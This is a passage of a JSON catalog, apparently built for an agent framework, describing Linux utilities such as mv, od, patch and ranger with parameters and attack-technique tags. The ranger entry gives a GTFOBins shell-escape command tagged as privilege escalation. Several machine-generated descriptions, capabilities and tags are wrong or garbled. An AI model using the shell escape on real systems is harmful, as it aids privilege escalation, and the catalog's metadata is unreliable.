        "aliases": [
          "--backup"
        ],
        "flag": "--backup"
      },
      {
        "name": "directory",
        "template_key": "directory",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "allow the superuser to attempt to hard link directories, if supported by the system",
        "aliases": [
          "-d",
          "-F",
          "--directory"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like --backup but does not accept an argument",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "remove existing destination files",
        "aliases": [
          "-f",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "interactive",
        "template_key": "interactive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prompt whether to remove destinations",
        "aliases": [
          "-i",
          "--interactive"
        ],
        "flag": "-i"
      },
      {
        "name": "logical",
        "template_key": "logical",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "dereference TARGETs that are symbolic links",
        "aliases": [
          "-L",
          "--logical"
        ],
        "flag": "-L"
      },
      {
        "name": "no-dereference",
        "template_key": "no-dereference",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "treat LINK_NAME as a normal file if it is a symbolic link to a directory",
        "aliases": [
          "-n",
          "--no-dereference"
        ],
        "flag": "-n"
      },
      {
        "name": "no-target-directory",
        "template_key": "no-target-directory",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat LINK_NAME as a normal file always",
        "aliases": [
          "-T",
          "--no-target-directory"
        ],
        "flag": "-T"
      },
      {
        "name": "physical",
        "template_key": "physical",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make hard links directly to symbolic links",
        "aliases": [
          "-P",
          "--physical"
        ],
        "flag": "-P"
      },
      {
        "name": "relative",
        "template_key": "relative",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "with -s, create links relative to link location",
        "aliases": [
          "-r",
          "--relative"
        ],
        "flag": "-r"
      },
      {
        "name": "suffix",
        "template_key": "suffix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "override the usual backup suffix",
        "aliases": [
          "-S",
          "--suffix"
        ],
        "flag": "-S"
      },
      {
        "name": "symbolic",
        "template_key": "symbolic",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make symbolic links instead of hard links",
        "aliases": [
          "-s",
          "--symbolic"
        ],
        "flag": "-s"
      },
      {
        "name": "target-directory",
        "template_key": "target-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "specify the DIRECTORY in which to create the links",
        "aliases": [
          "-t",
          "--target-directory"
        ],
        "flag": "-t"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print name of each linked file --help display this help and exit --version output version information and exit",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# md5sum — Compute and check MD5 message digest\n\n## Overview\n\n`md5sum` is a command-line utility for compute and check md5 message digest.\n\n## Usage\n\n```\nmd5sum -b {binary} -c {check} -t {text} -z {zero} --ignore-missing {ignore-missing}\n```\n",
    "_source": "md5sum.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.md5sum",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Compute and check MD5 message digest",
    "examples": [
      {
        "description": "Basic usage with binary",
        "command": "md5sum ${binary}"
      },
      {
        "description": "Display help message",
        "command": "md5sum --help"
      }
    ],
    "execution": {
      "template": "md5sum -b {binary} -c {check} -t {text} -z {zero} --ignore-missing {ignore-missing}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "encryption",
      "batch"
    ],
    "id": "system-file-md5sum",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "md5sum",
    "namespace": "system:file:md5sum",
    "parameters": [
      {
        "name": "binary",
        "template_key": "binary",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read in binary mode",
        "aliases": [
          "-b",
          "--binary"
        ],
        "flag": "-b"
      },
      {
        "name": "check",
        "template_key": "check",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read checksums from the FILEs and check them --tag create a BSD-style checksum",
        "aliases": [
          "-c",
          "--check"
        ],
        "flag": "-c"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "ignore-missing",
        "template_key": "ignore-missing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't fail or report status for missing files --quiet don't print OK for each successfully verified file --status don't output anything, status code shows success --strict exit non-zero for improperly formatted checksum lines",
        "aliases": [
          "--ignore-missing"
        ],
        "flag": "--ignore-missing"
      },
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "text",
        "template_key": "text",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read in text mode (default)",
        "aliases": [
          "-t",
          "--text"
        ],
        "flag": "-t"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "warn",
        "template_key": "warn",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "warn about improperly formatted checksum lines --help display this help and exit --version output version information and exit",
        "aliases": [
          "-w",
          "--warn"
        ],
        "flag": "-w"
      },
      {
        "name": "zero",
        "template_key": "zero",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "end each output line with NUL, not newline, and disable file name escaping",
        "aliases": [
          "-z",
          "--zero"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-sha1sum",
      "system-file-sha256sum"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# mv — Move/rename files and directories\n\n## Overview\n\n`mv` is a command-line utility for move/rename files and directories.\n\n## Usage\n\n```\nmv --backup {backup} -b {flag-b} -f {force} -i {interactive} -n {no-clobber}\n```\n",
    "_source": "mv.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.mv",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Move/rename files and directories",
    "examples": [
      {
        "description": "Basic usage with backup",
        "command": "mv ${backup}"
      },
      {
        "description": "Display help message",
        "command": "mv --help"
      }
    ],
    "execution": {
      "template": "mv --backup {backup} -b {flag-b} -f {force} -i {interactive} -n {no-clobber}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-mv",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "mv",
    "namespace": "system:file:mv",
    "parameters": [
      {
        "name": "backup",
        "template_key": "backup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make a backup of each existing destination file",
        "aliases": [
          "--backup"
        ],
        "flag": "--backup"
      },
      {
        "name": "context",
        "template_key": "context",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "set SELinux security context of destination file to default type --help display this help and exit --version output version information and exit",
        "aliases": [
          "-Z",
          "--context"
        ],
        "flag": "-Z"
      },
      {
        "name": "exchange",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--exchange"
        ],
        "flag": "--exchange"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like --backup but does not accept an argument --debug explain how a file is copied. Implies -v --exchange exchange source and destination",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to --update[=older]. See below",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not prompt before overwriting",
        "aliases": [
          "-f",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "interactive",
        "template_key": "interactive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prompt before overwrite",
        "aliases": [
          "-i",
          "--interactive"
        ],
        "flag": "-i"
      },
      {
        "name": "no-clobber",
        "template_key": "no-clobber",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not overwrite an existing file",
        "aliases": [
          "-n",
          "--no-clobber"
        ],
        "flag": "-n"
      },
      {
        "name": "no-copy",
        "template_key": "no-copy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not copy if renaming fails --strip-trailing-slashes remove any trailing slashes from each SOURCE argument",
        "aliases": [
          "--no-copy"
        ],
        "flag": "--no-copy"
      },
      {
        "name": "no-target-directory",
        "template_key": "no-target-directory",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "treat DEST as a normal file --update[=UPDATE] control which existing files are updated; UPDATE={all,none,none-fail,older(default)}",
        "aliases": [
          "-T",
          "--no-target-directory"
        ],
        "enum": [
          "all,none,none-fail,older(default)"
        ],
        "flag": "-T"
      },
      {
        "name": "strip_trailing_slashes",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--strip-trailing-slashes"
        ],
        "flag": "--strip-trailing-slashes"
      },
      {
        "name": "suffix",
        "template_key": "suffix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "override the usual backup suffix",
        "aliases": [
          "-S",
          "--suffix"
        ],
        "flag": "-S"
      },
      {
        "name": "target-directory",
        "template_key": "target-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "move all SOURCE arguments into DIRECTORY",
        "aliases": [
          "-t",
          "--target-directory"
        ],
        "flag": "-t"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "explain what is being done",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-cp",
      "system-file-rm"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "defense-evasion",
      "execution",
      "persistence"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "ncdu.md",
    "allowed-tools": [
      "ncdu",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "NCurses disk usage analyzer, can read files.",
    "examples": [
      {
        "description": "Read directory info via ncdu",
        "command": "ncdu /path/to/dir"
      }
    ],
    "execution": {
      "template": "ncdu /path/to/dir",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive"
    ],
    "global_vars": {},
    "id": "system-file-ncdu",
    "install": [
      {
        "method": "apt",
        "package_name": "ncdu",
        "commands": [
          "apt-get install -y ncdu"
        ]
      }
    ],
    "name": "ncdu",
    "namespace": "system:file:ncdu",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ncdu/"
      }
    ],
    "related_tools": [
      "du",
      "dust"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# od — Dump files in octal and other formats\n\n## Overview\n\n`od` is a command-line utility for dump files in octal and other formats.\n\n## Usage\n\n```\nod -A {address-radix} -j {skip-bytes} -N {read-bytes} -S {strings} -t {format}\n```\n",
    "_source": "od.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.od",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Dump files in octal and other formats",
    "examples": [
      {
        "description": "Basic usage with address-radix",
        "command": "od ${address-radix}"
      },
      {
        "description": "Use address-radix flag",
        "command": "od big"
      },
      {
        "description": "Display help message",
        "command": "od --help"
      }
    ],
    "execution": {
      "template": "od -A {address-radix} -j {skip-bytes} -N {read-bytes} -S {strings} -t {format}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-od",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "od",
    "namespace": "system:file:od",
    "parameters": [
      {
        "name": "address-radix",
        "template_key": "address-radix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output format for file offsets; RADIX is one of [doxn], for Decimal, Octal, Hex or None --endian={big|little} swap input bytes according the specified order",
        "aliases": [
          "-A",
          "--address-radix"
        ],
        "enum": [
          "big",
          "little"
        ],
        "flag": "-A"
      },
      {
        "name": "endian",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--endian"
        ],
        "flag": "--endian"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t a, select named characters, ignoring high-order bit",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t o1, select octal bytes",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t c, select printable characters or backslash escapes",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t u2, select unsigned decimal 2-byte units",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t fF, select floats",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t dI, select decimal ints",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t dL, select decimal longs",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t o2, select octal 2-byte units",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t d2, select decimal 2-byte units",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as -t x2, select hexadecimal 2-byte units",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "select output format or formats",
        "aliases": [
          "-t",
          "--format"
        ],
        "flag": "-t"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "output-duplicates",
        "template_key": "output-duplicates",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not use * to mark line suppression",
        "aliases": [
          "-v",
          "--output-duplicates"
        ],
        "flag": "-v"
      },
      {
        "name": "read-bytes",
        "template_key": "read-bytes",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "limit dump to BYTES input bytes",
        "aliases": [
          "-N",
          "--read-bytes"
        ],
        "flag": "-N"
      },
      {
        "name": "skip-bytes",
        "template_key": "skip-bytes",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "skip BYTES input bytes first",
        "aliases": [
          "-j",
          "--skip-bytes"
        ],
        "flag": "-j"
      },
      {
        "name": "strings",
        "template_key": "strings",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show only NUL terminated strings of at least BYTES (default 3) printable characters",
        "aliases": [
          "-S",
          "--strings"
        ],
        "flag": "-S"
      },
      {
        "name": "traditional",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--traditional"
        ],
        "flag": "--traditional"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "width",
        "template_key": "width",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output BYTES bytes per output line; 32 is implied when BYTES is not specified --traditional accept arguments in third form above --help display this help and exit --version output version information and exit",
        "aliases": [
          "-w",
          "--width"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-hexdump",
      "system-file-xxd"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# patch — Apply diff patches to files\n\n## Overview\n\n`patch` is a command-line utility for apply diff patches to files.\n\n## Usage\n\n```\npatch -p {strip} -F {fuzz-lines} -l {ignore-whitespace} -c {context} -e {ed}\n```\n",
    "_source": "patch.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.patch",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Apply diff patches to files",
    "examples": [
      {
        "description": "Display help message",
        "command": "patch --help"
      }
    ],
    "execution": {
      "template": "patch -p {strip} -F {fuzz-lines} -l {ignore-whitespace} -c {context} -e {ed}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-patch",
    "install": [
      {
        "method": "apt",
        "package_name": "patch",
        "commands": [
          "apt-get install -y patch"
        ]
      }
    ],
    "name": "patch",
    "namespace": "system:file:patch",
    "parameters": [
      {
        "name": "strip",
        "template_key": "strip",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-p",
          "--strip"
        ],
        "flag": "-p"
      },
      {
        "name": "fuzz LINES",
        "template_key": "fuzz-lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-F",
          "--fuzz LINES"
        ],
        "flag": "-F"
      },
      {
        "name": "ignore-whitespace",
        "template_key": "ignore-whitespace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-l",
          "--ignore-whitespace"
        ],
        "flag": "-l"
      },
      {
        "name": "context",
        "template_key": "context",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-c",
          "--context"
        ],
        "flag": "-c"
      },
      {
        "name": "ed",
        "template_key": "ed",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-e",
          "--ed"
        ],
        "flag": "-e"
      },
      {
        "name": "normal",
        "template_key": "normal",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-n",
          "--normal"
        ],
        "flag": "-n"
      },
      {
        "name": "unified",
        "template_key": "unified",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-u",
          "--unified"
        ],
        "flag": "-u"
      },
      {
        "name": "forward",
        "template_key": "forward",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-N",
          "--forward"
        ],
        "flag": "-N"
      },
      {
        "name": "reverse",
        "template_key": "reverse",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-R",
          "--reverse"
        ],
        "flag": "-R"
      },
      {
        "name": "input",
        "template_key": "input",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-i",
          "--input"
        ],
        "flag": "-i"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "reject-file",
        "template_key": "reject-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-r",
          "--reject-file"
        ],
        "flag": "-r"
      },
      {
        "name": "ifdef",
        "template_key": "ifdef",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-D",
          "-t",
          "-e",
          "--ifdef"
        ],
        "flag": "-D"
      },
      {
        "name": "merge",
        "template_key": "merge",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--merge"
        ],
        "flag": "--merge"
      },
      {
        "name": "remove-empty-files",
        "template_key": "remove-empty-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-E",
          "--remove-empty-files"
        ],
        "flag": "-E"
      },
      {
        "name": "set-utc",
        "template_key": "set-utc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-Z",
          "--set-utc"
        ],
        "flag": "-Z"
      },
      {
        "name": "set-time",
        "template_key": "set-time",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-T",
          "--set-time"
        ],
        "flag": "-T"
      },
      {
        "name": "quoting-style",
        "template_key": "quoting-style",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "output file names using quoting style WORD",
        "aliases": [
          "--quoting-style"
        ],
        "flag": "--quoting-style"
      },
      {
        "name": "backup",
        "template_key": "backup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-b",
          "--backup"
        ],
        "flag": "-b"
      },
      {
        "name": "backup-if-mismatch",
        "template_key": "backup-if-mismatch",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--backup-if-mismatch"
        ],
        "flag": "--backup-if-mismatch"
      },
      {
        "name": "no-backup-if-mismatch",
        "template_key": "no-backup-if-mismatch",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--no-backup-if-mismatch"
        ],
        "flag": "--no-backup-if-mismatch"
      },
      {
        "name": "version-control",
        "template_key": "version-control",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "STYLE is either 'simple', 'numbered', or 'existing'",
        "aliases": [
          "-V",
          "--version-control"
        ],
        "flag": "-V"
      },
      {
        "name": "prefix",
        "template_key": "prefix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-B",
          "--prefix"
        ],
        "flag": "-B"
      },
      {
        "name": "basename-prefix",
        "template_key": "basename-prefix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-Y",
          "--basename-prefix"
        ],
        "flag": "-Y"
      },
      {
        "name": "suffix",
        "template_key": "suffix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-z",
          "--suffix"
        ],
        "flag": "-z"
      },
      {
        "name": "get",
        "template_key": "get",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-g",
          "--get"
        ],
        "flag": "-g"
      },
      {
        "name": "batch",
        "template_key": "batch",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-t",
          "-P",
          "--batch"
        ],
        "flag": "-t"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-f",
          "-t",
          "-P",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-s",
          "--quiet",
          "--silent"
        ],
        "flag": "-s"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--verbose"
        ],
        "flag": "--verbose"
      },
      {
        "name": "dry-run",
        "template_key": "dry-run",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--dry-run"
        ],
        "flag": "--dry-run"
      },
      {
        "name": "posix",
        "template_key": "posix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--posix"
        ],
        "flag": "--posix"
      },
      {
        "name": "directory",
        "template_key": "directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-d",
          "--directory"
        ],
        "flag": "-d"
      },
      {
        "name": "reject-format",
        "template_key": "reject-format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--reject-format"
        ],
        "flag": "--reject-format"
      },
      {
        "name": "binary",
        "template_key": "binary",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--binary"
        ],
        "flag": "--binary"
      },
      {
        "name": "read-only",
        "template_key": "read-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "are read-only, 'warn' (default), or 'fail'",
        "aliases": [
          "-o",
          "--read-only"
        ],
        "flag": "-o"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-diff"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "credential-access",
      "defense-evasion",
      "execution",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "ranger.md",
    "allowed-tools": [
      "ranger",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "File manager, can read files and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via ranger",
        "command": "ranger\n:shell /bin/sh\n"
      }
    ],
    "execution": {
      "template": "ranger /path/to/dir",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-file-ranger",
    "install": [
      {
        "method": "pip",
        "package_name": "ranger-fm",
        "commands": [
          "pip install ranger-fm"
        ]
      }
    ],
    "name": "ranger",
    "namespace": "system:file:ranger",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ranger/"
      }
    ],
    "related_tools": [
      "mc",
      "nnn"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "shell-access"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# rm — Remove files or directories\n\n## Overview\n\n`rm` is a command-line utility for remove files or directories.\n\n## Usage\n\n```\nrm -f {force} -i {flag-i} -I {flag-i} -r {recursive} -d {dir}\n```\n",
    "_source": "rm.md",
    "architectures": [
